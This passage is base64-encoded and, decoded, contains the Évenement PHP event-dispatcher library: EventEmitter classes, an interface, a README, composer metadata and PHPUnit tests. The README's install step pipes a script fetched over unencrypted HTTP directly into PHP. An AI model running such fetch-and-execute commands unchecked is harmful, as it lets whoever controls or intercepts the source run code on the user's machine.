sKCmNsYXNzIEV2ZW50RW1pdHRlciBpbXBsZW1lbnRzIEV2ZW50RW1pdHRlckludGVyZmFjZQp7CiAgICBwcm90ZWN0ZWQgJGxpc3RlbmVycyA9IGFycmF5KCk7CgogICAgcHVibGljIGZ1bmN0aW9uIG9uKCRldmVudCwgJGxpc3RlbmVyKQogICAgewogICAgICAgIGlmICghaXNfY2FsbGFibGUoJGxpc3RlbmVyKSkgewogICAgICAgICAgICB0aHJvdyBuZXcgXEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbignVGhlIHByb3ZpZGVkIGxpc3RlbmVyIHdhcyBub3QgYSB2YWxpZCBjYWxsYWJsZS4nKTsKICAgICAgICB9CgogICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmxpc3RlbmVyc1skZXZlbnRdKSkgewogICAgICAgICAgICAkdGhpcy0+bGlzdGVuZXJzWyRldmVudF0gPSBhcnJheSgpOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPmxpc3RlbmVyc1skZXZlbnRdW10gPSAkbGlzdGVuZXI7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIG9uY2UoJGV2ZW50LCAkbGlzdGVuZXIpCiAgICB7CiAgICAgICAgJHRoYXQgPSAkdGhpczsKCiAgICAgICAgJG9uY2VMaXN0ZW5lciA9IGZ1bmN0aW9uICgpIHVzZSAoJHRoYXQsICYkb25jZUxpc3RlbmVyLCAkZXZlbnQsICRsaXN0ZW5lcikgewogICAgICAgICAgICAkdGhhdC0+cmVtb3ZlTGlzdGVuZXIoJGV2ZW50LCAkb25jZUxpc3RlbmVyKTsKCiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCRsaXN0ZW5lciwgZnVuY19nZXRfYXJncygpKTsKICAgICAgICB9OwoKICAgICAgICAkdGhpcy0+b24oJGV2ZW50LCAkb25jZUxpc3RlbmVyKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlTGlzdGVuZXIoJGV2ZW50LCAkbGlzdGVuZXIpCiAgICB7CiAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5saXN0ZW5lcnNbJGV2ZW50XSkpIHsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkaW5kZXggPSBhcnJheV9zZWFyY2goJGxpc3RlbmVyLCAkdGhpcy0+bGlzdGVuZXJzWyRldmVudF0sIHRydWUpKSB7CiAgICAgICAgICAgICAgICB1bnNldCgkdGhpcy0+bGlzdGVuZXJzWyRldmVudF1bJGluZGV4XSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZUFsbExpc3RlbmVycygkZXZlbnQgPSBudWxsKQogICAgewogICAgICAgIGlmICgkZXZlbnQgIT09IG51bGwpIHsKICAgICAgICAgICAgdW5zZXQoJHRoaXMtPmxpc3RlbmVyc1skZXZlbnRdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+bGlzdGVuZXJzID0gYXJyYXkoKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGxpc3RlbmVycygkZXZlbnQpCiAgICB7CiAgICAgICAgcmV0dXJuIGlzc2V0KCR0aGlzLT5saXN0ZW5lcnNbJGV2ZW50XSkgPyAkdGhpcy0+bGlzdGVuZXJzWyRldmVudF0gOiBhcnJheSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBlbWl0KCRldmVudCwgYXJyYXkgJGFyZ3VtZW50cyA9IGFycmF5KCkpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmxpc3RlbmVycygkZXZlbnQpIGFzICRsaXN0ZW5lcikgewogICAgICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkbGlzdGVuZXIsICRhcmd1bWVudHMpOwogICAgICAgIH0KICAgIH0KfQo8P3BocAoKLyoKICogVGhpcyBmaWxlIGlzIHBhcnQgb2YgRXZlbmVtZW50LgogKgogKiAoYykgSWdvciBXaWVkbGVyIDxpZ29yQHdpZWRsZXIuY2g+CiAqCiAqIEZvciB0aGUgZnVsbCBjb3B5cmlnaHQgYW5kIGxpY2Vuc2UgaW5mb3JtYXRpb24sIHBsZWFzZSB2aWV3IHRoZSBMSUNFTlNFCiAqIGZpbGUgdGhhdCB3YXMgZGlzdHJpYnV0ZWQgd2l0aCB0aGlzIHNvdXJjZSBjb2RlLgogKi8KCm5hbWVzcGFjZSBFdmVuZW1lbnQ7CgppbnRlcmZhY2UgRXZlbnRFbWl0dGVySW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBvbigkZXZlbnQsICRsaXN0ZW5lcik7CiAgICBwdWJsaWMgZnVuY3Rpb24gb25jZSgkZXZlbnQsICRsaXN0ZW5lcik7CiAgICBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlTGlzdGVuZXIoJGV2ZW50LCAkbGlzdGVuZXIpOwogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZUFsbExpc3RlbmVycygkZXZlbnQgPSBudWxsKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBsaXN0ZW5lcnMoJGV2ZW50KTsKICAgIHB1YmxpYyBmdW5jdGlvbiBlbWl0KCRldmVudCwgYXJyYXkgJGFyZ3VtZW50cyA9IGFycmF5KCkpOwp9Cjw/cGhwCgovKgogKiBUaGlzIGZpbGUgaXMgcGFydCBvZiBFdmVuZW1lbnQuCiAqCiAqIChjKSBJZ29yIFdpZWRsZXIgPGlnb3JAd2llZGxlci5jaD4KICoKICogRm9yIHRoZSBmdWxsIGNvcHlyaWdodCBhbmQgbGljZW5zZSBpbmZvcm1hdGlvbiwgcGxlYXNlIHZpZXcgdGhlIExJQ0VOU0UKICogZmlsZSB0aGF0IHdhcyBkaXN0cmlidXRlZCB3aXRoIHRoaXMgc291cmNlIGNvZGUuCiAqLwoKbmFtZXNwYWNlIEV2ZW5lbWVudDsKCmNsYXNzIEV2ZW50RW1pdHRlcjIgZXh0ZW5kcyBFdmVudEVtaXR0ZXIKewogICAgcHJvdGVjdGVkICRvcHRpb25zOwogICAgcHJvdGVjdGVkICRhbnlMaXN0ZW5lcnMgPSBhcnJheSgpOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChhcnJheSAkb3B0aW9ucyA9IGFycmF5KCkpCiAgICB7CiAgICAgICAgJHRoaXMtPm9wdGlvbnMgPSBhcnJheV9tZXJnZShhcnJheSgKICAgICAgICAgICAgJ2RlbGltaXRlcicgPT4gJy4nLAogICAgICAgICksICRvcHRpb25zKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gb25BbnkoJGxpc3RlbmVyKQogICAgewogICAgICAgICR0aGlzLT5hbnlMaXN0ZW5lcnNbXSA9ICRsaXN0ZW5lcjsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gb2ZmQW55KCRsaXN0ZW5lcikKICAgIHsKICAgICAgICBpZiAoZmFsc2UgIT09ICRpbmRleCA9IGFycmF5X3NlYXJjaCgkbGlzdGVuZXIsICR0aGlzLT5hbnlMaXN0ZW5lcnMsIHRydWUpKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbnlMaXN0ZW5lcnNbJGluZGV4XSk7CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBtYW55KCRldmVudCwgJHRpbWVzVG9MaXN0ZW4sICRsaXN0ZW5lcikKICAgIHsKICAgICAgICAkdGhhdCA9ICR0aGlzOwoKICAgICAgICAkdGltZXNMaXN0ZW5lZCA9IDA7CgogICAgICAgIGlmICgkdGltZXNUb0xpc3RlbiA9PSAwKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgIGlmICgkdGltZXNUb0xpc3RlbiA8IDApIHsKICAgICAgICAgICAgdGhyb3cgbmV3IFxPdXRPZlJhbmdlRXhjZXB0aW9uKCdZb3UgY2Fubm90IGxpc3RlbiBsZXNzIHRoYW4gemVybyB0aW1lcy4nKTsKICAgICAgICB9CgogICAgICAgICRtYW55TGlzdGVuZXIgPSBmdW5jdGlvbiAoKSB1c2UgKCR0aGF0LCAmJHRpbWVzTGlzdGVuZWQsICYkbWFueUxpc3RlbmVyLCAkZXZlbnQsICR0aW1lc1RvTGlzdGVuLCAkbGlzdGVuZXIpIHsKICAgICAgICAgICAgaWYgKCsrJHRpbWVzTGlzdGVuZWQgPT0gJHRpbWVzVG9MaXN0ZW4pIHsKICAgICAgICAgICAgICAgICR0aGF0LT5yZW1vdmVMaXN0ZW5lcigkZXZlbnQsICRtYW55TGlzdGVuZXIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkbGlzdGVuZXIsIGZ1bmNfZ2V0X2FyZ3MoKSk7CiAgICAgICAgfTsKCiAgICAgICAgJHRoaXMtPm9uKCRldmVudCwgJG1hbnlMaXN0ZW5lcik7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGVtaXQoJGV2ZW50LCBhcnJheSAkYXJndW1lbnRzID0gYXJyYXkoKSkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YW55TGlzdGVuZXJzIGFzICRsaXN0ZW5lcikgewogICAgICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkbGlzdGVuZXIsICRhcmd1bWVudHMpOwogICAgICAgIH0KCiAgICAgICAgcGFyZW50OjplbWl0KCRldmVudCwgJGFyZ3VtZW50cyk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGxpc3RlbmVycygkZXZlbnQpCiAgICB7CiAgICAgICAgJG1hdGNoZWRMaXN0ZW5lcnMgPSBhcnJheSgpOwoKICAgICAgICBmb3JlYWNoICgkdGhpcy0+bGlzdGVuZXJzIGFzICRuYW1lID0+ICRsaXN0ZW5lcnMpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGxpc3RlbmVycyBhcyAkbGlzdGVuZXIpIHsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bWF0Y2hFdmVudE5hbWUoJGV2ZW50LCAkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWF0Y2hlZExpc3RlbmVyc1tdID0gJGxpc3RlbmVyOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJG1hdGNoZWRMaXN0ZW5lcnM7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1hdGNoRXZlbnROYW1lKCRtYXRjaFBhdHRlcm4sICRldmVudE5hbWUpCiAgICB7CiAgICAgICAgJHBhdHRlcm5QYXJ0cyA9IGV4cGxvZGUoJHRoaXMtPm9wdGlvbnNbJ2RlbGltaXRlciddLCAkbWF0Y2hQYXR0ZXJuKTsKICAgICAgICAkbmFtZVBhcnRzID0gZXhwbG9kZSgkdGhpcy0+b3B0aW9uc1snZGVsaW1pdGVyJ10sICRldmVudE5hbWUpOwoKICAgICAgICBpZiAoY291bnQoJHBhdHRlcm5QYXJ0cykgIT0gY291bnQoJG5hbWVQYXJ0cykpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgJHNpemUgPSBtaW4oY291bnQoJHBhdHRlcm5QYXJ0cyksIGNvdW50KCRuYW1lUGFydHMpKTsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkc2l6ZTsgJGkrKykgewogICAgICAgICAgICAkcGF0dGVyblBhcnQgPSAkcGF0dGVyblBhcnRzWyRpXTsKICAgICAgICAgICAgJG5hbWVQYXJ0ID0gJG5hbWVQYXJ0c1skaV07CgogICAgICAgICAgICBpZiAoJyonID09PSAkcGF0dGVyblBhcnQgfHwgJyonID09PSAkbmFtZVBhcnQpIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoJG5hbWVQYXJ0ID09PSAkcGF0dGVyblBhcnQpIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQojIMOJdsOpbmVtZW50CgrDiXbDqW5lbWVudCBpcyBhIHZlcnkgc2ltcGxlIGV2ZW50IGRpc3BhdGNoaW5nIGxpYnJhcnkgZm9yIFBIUCA1LjMuCgpJdCBoYXMgdGhlIHNhbWUgZGVzaWduIGdvYWxzIGFzIFtTaWxleF0oaHR0cDovL3NpbGV4LXByb2plY3Qub3JnKSBhbmQKW1BpbXBsZV0oaHR0cDovL3BpbXBsZS1wcm9qZWN0Lm9yZyksIHRvIGVtcG93ZXIgdGhlIHVzZXIgd2hpbGUgc3RheWluZyBjb25jaXNlCmFuZCBzaW1wbGUuCgpJdCBpcyB2ZXJ5IHN0cm9uZ2x5IGluc3BpcmVkIGJ5IHRoZSBFdmVudEVtaXR0ZXIgQVBJIGZvdW5kIGluCltub2RlLmpzXShodHRwOi8vbm9kZWpzLm9yZykuIEl0IGluY2x1ZGVzIGFuIGltcGxlbWVudGF0aW9uIG9mCltFdmVudEVtaXR0ZXIyXShodHRwczovL2dpdGh1Yi5jb20vaGlqMW54L0V2ZW50RW1pdHRlcjIpLCB0aGF0IGV4dGVuZHMKdGhlIG9yaWdpbmFsIEV2ZW50RW1pdHRlci4KClshW0J1aWxkIFN0YXR1c10oaHR0cHM6Ly9zZWN1cmUudHJhdmlzLWNpLm9yZy9pZ29ydy9ldmVuZW1lbnQucG5nKV0oaHR0cDovL3RyYXZpcy1jaS5vcmcvaWdvcncvZXZlbmVtZW50KQoKIyMgRmV0Y2gKClRoZSByZWNvbW1lbmRlZCB3YXkgdG8gaW5zdGFsbCDDiXbDqW5lbWVudCBpcyBbdGhyb3VnaCBjb21wb3Nlcl0oaHR0cDovL2dldGNvbXBvc2VyLm9yZykuCgpKdXN0IGNyZWF0ZSBhIGNvbXBvc2VyLmpzb24gZmlsZSBmb3IgeW91ciBwcm9qZWN0OgoKYGBgSlNPTgp7CiAgICAicmVxdWlyZSI6IHsKICAgICAgICAiZXZlbmVtZW50L2V2ZW5lbWVudCI6ICJkZXYtbWFzdGVyIgogICAgfQp9CmBgYAoKQW5kIHJ1biB0aGVzZSB0d28gY29tbWFuZHMgdG8gaW5zdGFsbCBpdDoKCiAgICAkIGN1cmwgLXMgaHR0cDovL2dldGNvbXBvc2VyLm9yZy9pbnN0YWxsZXIgfCBwaHAKICAgICQgcGhwIGNvbXBvc2VyLnBoYXIgaW5zdGFsbAoKTm93IHlvdSBjYW4gYWRkIHRoZSBhdXRvbG9hZGVyLCBhbmQgeW91IHdpbGwgaGF2ZSBhY2Nlc3MgdG8gdGhlIGxpYnJhcnk6CgpgYGBwaHAKPD9waHAKcmVxdWlyZSAndmVuZG9yL2F1dG9sb2FkLnBocCc7CmBgYAoKIyMgVXNhZ2UKCiMjIyBDcmVhdGluZyBhbiBFbWl0dGVyCgpgYGBwaHAKPD9waHAKJGVtaXR0ZXIgPSBuZXcgRXZlbmVtZW50XEV2ZW50RW1pdHRlcigpOwpgYGAKCiMjIyBBZGRpbmcgTGlzdGVuZXJzCgpgYGBwaHAKPD9waHAKJGVtaXR0ZXItPm9uKCd1c2VyLmNyZWF0ZScsIGZ1bmN0aW9uIChVc2VyICR1c2VyKSB1c2UgKCRsb2dnZXIpIHsKICAgICRsb2dnZXItPmxvZyhzcHJpbnRmKCJVc2VyICclcycgd2FzIGNyZWF0ZWQuIiwgJHVzZXItPmdldExvZ2luKCkpKTsKfSk7CmBgYAoKIyMjIEVtaXR0aW5nIEV2ZW50cwoKYGBgcGhwCjw/cGhwCiRlbWl0dGVyLT5lbWl0KCd1c2VyLmNyZWF0ZScsIGFycmF5KCR1c2VyKSk7CmBgYAoKVGVzdHMKLS0tLS0KCiAgICAkIHBocHVuaXQKCkxpY2Vuc2UKLS0tLS0tLQpNSVQsIHNlZSBMSUNFTlNFLgp7CiAgICAibmFtZSI6ICJldmVuZW1lbnQvZXZlbmVtZW50IiwKICAgICJkZXNjcmlwdGlvbiI6ICLDiXbDqW5lbWVudCBpcyBhIHZlcnkgc2ltcGxlIGV2ZW50IGRpc3BhdGNoaW5nIGxpYnJhcnkgZm9yIFBIUCA1LjMiLAogICAgImtleXdvcmRzIjogWyJldmVudC1kaXNwYXRjaGVyIl0sCiAgICAibGljZW5zZSI6ICJNSVQiLAogICAgImF1dGhvcnMiOiBbCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJJZ29yIFdpZWRsZXIiLAogICAgICAgICAgICAiZW1haWwiOiAiaWdvckB3aWVkbGVyLmNoIgogICAgICAgIH0KICAgIF0sCiAgICAicmVxdWlyZSI6IHsKICAgICAgICAicGhwIjogIj49NS4zLjAiCiAgICB9LAogICAgImF1dG9sb2FkIjogewogICAgICAgICJwc3ItMCI6IHsKICAgICAgICAgICAgIkV2ZW5lbWVudCI6ICJzcmMiCiAgICAgICAgfQogICAgfQp9Cjw/cGhwCgovKgogKiBUaGlzIGZpbGUgaXMgcGFydCBvZiBFdmVuZW1lbnQuCiAqCiAqIENvcHlyaWdodCAoYykgMjAxMSBJZ29yIFdpZWRsZXIKICoKICogUGVybWlzc2lvbiBpcyBoZXJlYnkgZ3JhbnRlZCwgZnJlZSBvZiBjaGFyZ2UsIHRvIGFueSBwZXJzb24gb2J0YWluaW5nIGEgY29weQogKiBvZiB0aGlzIHNvZnR3YXJlIGFuZCBhc3NvY2lhdGVkIGRvY3VtZW50YXRpb24gZmlsZXMgKHRoZSAiU29mdHdhcmUiKSwgdG8gZGVhbAogKiBpbiB0aGUgU29mdHdhcmUgd2l0aG91dCByZXN0cmljdGlvbiwgaW5jbHVkaW5nIHdpdGhvdXQgbGltaXRhdGlvbiB0aGUgcmlnaHRzCiAqIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBtZXJnZSwgcHVibGlzaCwgZGlzdHJpYnV0ZSwgc3VibGljZW5zZSwgYW5kL29yIHNlbGwKICogY29waWVzIG9mIHRoZSBTb2Z0d2FyZSwgYW5kIHRvIHBlcm1pdCBwZXJzb25zIHRvIHdob20gdGhlIFNvZnR3YXJlIGlzIGZ1cm5pc2hlZAogKiB0byBkbyBzbywgc3ViamVjdCB0byB0aGUgZm9sbG93aW5nIGNvbmRpdGlvbnM6CiAqCiAqIFRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlIGFuZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIHNoYWxsIGJlIGluY2x1ZGVkIGluIGFsbAogKiBjb3BpZXMgb3Igc3Vic3RhbnRpYWwgcG9ydGlvbnMgb2YgdGhlIFNvZnR3YXJlLgogKgogKiBUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiwgV0lUSE9VVCBXQVJSQU5UWSBPRiBBTlkgS0lORCwgRVhQUkVTUyBPUgogKiBJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5USUVTIE9GIE1FUkNIQU5UQUJJTElUWSwKICogRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFCiAqIEFVVEhPUlMgT1IgQ09QWVJJR0hUIEhPTERFUlMgQkUgTElBQkxFIEZPUiBBTlkgQ0xBSU0sIERBTUFHRVMgT1IgT1RIRVIKICogTElBQklMSVRZLCBXSEVUSEVSIElOIEFOIEFDVElPTiBPRiBDT05UUkFDVCwgVE9SVCBPUiBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwKICogT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFIFVTRSBPUiBPVEhFUiBERUFMSU5HUyBJTgogKiBUSEUgU09GVFdBUkUuCiAqLwoKJGxvYWRlciA9IHJlcXVpcmUgX19ESVJfXy4nLy4uL3ZlbmRvci9hdXRvbG9hZC5waHAnOwokbG9hZGVyLT5hZGQoJ0V2ZW5lbWVudFxUZXN0cycsIF9fRElSX18pOwo8P3BocAoKLyoKICogVGhpcyBmaWxlIGlzIHBhcnQgb2YgRXZlbmVtZW50LgogKgogKiBDb3B5cmlnaHQgKGMpIDIwMTEgSWdvciBXaWVkbGVyCiAqCiAqIFBlcm1pc3Npb24gaXMgaGVyZWJ5IGdyYW50ZWQsIGZyZWUgb2YgY2hhcmdlLCB0byBhbnkgcGVyc29uIG9idGFpbmluZyBhIGNvcHkKICogb2YgdGhpcyBzb2Z0d2FyZSBhbmQgYXNzb2NpYXRlZCBkb2N1bWVudGF0aW9uIGZpbGVzICh0aGUgIlNvZnR3YXJlIiksIHRvIGRlYWwKICogaW4gdGhlIFNvZnR3YXJlIHdpdGhvdXQgcmVzdHJpY3Rpb24sIGluY2x1ZGluZyB3aXRob3V0IGxpbWl0YXRpb24gdGhlIHJpZ2h0cwogKiB0byB1c2UsIGNvcHksIG1vZGlmeSwgbWVyZ2UsIHB1Ymxpc2gsIGRpc3RyaWJ1dGUsIHN1YmxpY2Vuc2UsIGFuZC9vciBzZWxsCiAqIGNvcGllcyBvZiB0aGUgU29mdHdhcmUsIGFuZCB0byBwZXJtaXQgcGVyc29ucyB0byB3aG9tIHRoZSBTb2Z0d2FyZSBpcyBmdXJuaXNoZWQKICogdG8gZG8gc28sIHN1YmplY3QgdG8gdGhlIGZvbGxvd2luZyBjb25kaXRpb25zOgogKgogKiBUaGUgYWJvdmUgY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBzaGFsbCBiZSBpbmNsdWRlZCBpbiBhbGwKICogY29waWVzIG9yIHN1YnN0YW50aWFsIHBvcnRpb25zIG9mIHRoZSBTb2Z0d2FyZS4KICoKICogVEhFIFNPRlRXQVJFIElTIFBST1ZJREVEICJBUyBJUyIsIFdJVEhPVVQgV0FSUkFOVFkgT0YgQU5ZIEtJTkQsIEVYUFJFU1MgT1IKICogSU1QTElFRCwgSU5DTFVESU5HIEJVVCBOT1QgTElNSVRFRCBUTyBUSEUgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFksCiAqIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFIEFORCBOT05JTkZSSU5HRU1FTlQuIElOIE5PIEVWRU5UIFNIQUxMIFRIRQogKiBBVVRIT1JTIE9SIENPUFlSSUdIVCBIT0xERVJTIEJFIExJQUJMRSBGT1IgQU5ZIENMQUlNLCBEQU1BR0VTIE9SIE9USEVSCiAqIExJQUJJTElUWSwgV0hFVEhFUiBJTiBBTiBBQ1RJT04gT0YgQ09OVFJBQ1QsIFRPUlQgT1IgT1RIRVJXSVNFLCBBUklTSU5HIEZST00sCiAqIE9VVCBPRiBPUiBJTiBDT05ORUNUSU9OIFdJVEggVEhFIFNPRlRXQVJFIE9SIFRIRSBVU0UgT1IgT1RIRVIgREVBTElOR1MgSU4KICogVEhFIFNPRlRXQVJFLgogKi8KCm5hbWVzcGFjZSBFdmVuZW1lbnRcVGVzdHM7CgpjbGFzcyBMaXN0ZW5lcgp7CiAgICBwdWJsaWMgZnVuY3Rpb24gb25Gb28oKQogICAgewogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gb25CYXIoKQogICAgewogICAgfQp9Cjw/cGhwCgovKgogKiBUaGlzIGZpbGUgaXMgcGFydCBvZiBFdmVuZW1lbnQuCiAqCiAqIENvcHlyaWdodCAoYykgMjAxMSBJZ29yIFdpZWRsZXIKICoKICogUGVybWlzc2lvbiBpcyBoZXJlYnkgZ3JhbnRlZCwgZnJlZSBvZiBjaGFyZ2UsIHRvIGFueSBwZXJzb24gb2J0YWluaW5nIGEgY29weQogKiBvZiB0aGlzIHNvZnR3YXJlIGFuZCBhc3NvY2lhdGVkIGRvY3VtZW50YXRpb24gZmlsZXMgKHRoZSAiU29mdHdhcmUiKSwgdG8gZGVhbAogKiBpbiB0aGUgU29mdHdhcmUgd2l0aG91dCByZXN0cmljdGlvbiwgaW5jbHVkaW5nIHdpdGhvdXQgbGltaXRhdGlvbiB0aGUgcmlnaHRzCiAqIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBtZXJnZSwgcHVibGlzaCwgZGlzdHJpYnV0ZSwgc3VibGljZW5zZSwgYW5kL29yIHNlbGwKICogY29waWVzIG9mIHRoZSBTb2Z0d2FyZSwgYW5kIHRvIHBlcm1pdCBwZXJzb25zIHRvIHdob20gdGhlIFNvZnR3YXJlIGlzIGZ1cm5pc2hlZAogKiB0byBkbyBzbywgc3ViamVjdCB0byB0aGUgZm9sbG93aW5nIGNvbmRpdGlvbnM6CiAqCiAqIFRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlIGFuZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIHNoYWxsIGJlIGluY2x1ZGVkIGluIGFsbAogKiBjb3BpZXMgb3Igc3Vic3RhbnRpYWwgcG9ydGlvbnMgb2YgdGhlIFNvZnR3YXJlLgogKgogKiBUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiwgV0lUSE9VVCBXQVJSQU5UWSBPRiBBTlkgS0lORCwgRVhQUkVTUyBPUgogKiBJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5USUVTIE9GIE1FUkNIQU5UQUJJTElUWSwKICogRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFCiAqIEFVVEhPUlMgT1IgQ09QWVJJR0hUIEhPTERFUlMgQkUgTElBQkxFIEZPUiBBTlkgQ0xBSU0sIERBTUFHRVMgT1IgT1RIRVIKICogTElBQklMSVRZLCBXSEVUSEVSIElOIEFOIEFDVElPTiBPRiBDT05UUkFDVCwgVE9SVCBPUiBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwKICogT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFIFVTRSBPUiBPVEhFUiBERUFMSU5HUyBJTgogKiBUSEUgU09GVFdBUkUuCiAqLwoKbmFtZXNwYWNlIEV2ZW5lbWVudFxUZXN0czsKCnVzZSBFdmVuZW1lbnRcRXZlbnRFbWl0dGVyOwoKY2xhc3MgRXZlbnRFbWl0dGVyVGVzdCBleHRlbmRzIFxQSFBVbml0X0ZyYW1ld29ya19UZXN0Q2FzZQp7CiAgICBwcml2YXRlICRlbWl0dGVyOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRVcCgpCiAgICB7CiAgICAgICAgJHRoaXMtPmVtaXR0ZXIgPSBuZXcgRXZlbnRFbWl0dGVyKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RBZGRMaXN0ZW5lcldpdGhMYW1iZGEoKQogICAgewogICAgICAgICR0aGlzLT5lbWl0dGVyLT5vbignZm9vJywgZnVuY3Rpb24gKCkge30pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0QWRkTGlzdGVuZXJXaXRoTWV0aG9kKCkKICAgIHsKICAgICAgICAkbGlzdGVuZXIgPSBuZXcgTGlzdGVuZXIoKTsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b24oJ2ZvbycsIGFycmF5KCRsaXN0ZW5lciwgJ29uRm9vJykpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0QWRkTGlzdGVuZXJXaXRoU3RhdGljTWV0aG9kKCkKICAgIHsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b24oJ2JhcicsIGFycmF5KCdFdmVuZW1lbnRcVGVzdHNcTGlzdGVuZXInLCAnb25CYXInKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZXhwZWN0ZWRFeGNlcHRpb24gSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0QWRkTGlzdGVuZXJXaXRoSW52YWxpZExpc3RlbmVyKCkKICAgIHsKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+b24oJ2ZvbycsICdub3QgYSBjYWxsYWJsZScpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXN0T25jZSgpCiAgICB7CiAgICAgICAgJGxpc3RlbmVyQ2FsbGVkID0gMDsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPm9uY2UoJ2ZvbycsIGZ1bmN0aW9uICgpIHVzZSAoJiRsaXN0ZW5lckNhbGxlZCkgewogICAgICAgICAgICAkbGlzdGVuZXJDYWxsZWQrKzsKICAgICAgICB9KTsKCiAgICAgICAgJHRoaXMtPmFzc2VydFNhbWUoMCwgJGxpc3RlbmVyQ2FsbGVkKTsKCiAgICAgICAgJHRoaXMtPmVtaXR0ZXItPmVtaXQoJ2ZvbycpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0U2FtZSgxLCAkbGlzdGVuZXJDYWxsZWQpOwoKICAgICAgICAkdGhpcy0+ZW1pdHRlci0+ZW1pdCgnZm9vJyk7CgogICAgICAgICR0aGlzLT5hc3NlcnRTYW1lKDEsICRsaXN0ZW5lckNhbGxlZCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RFbWl0V2l0aG91dEFyZ3V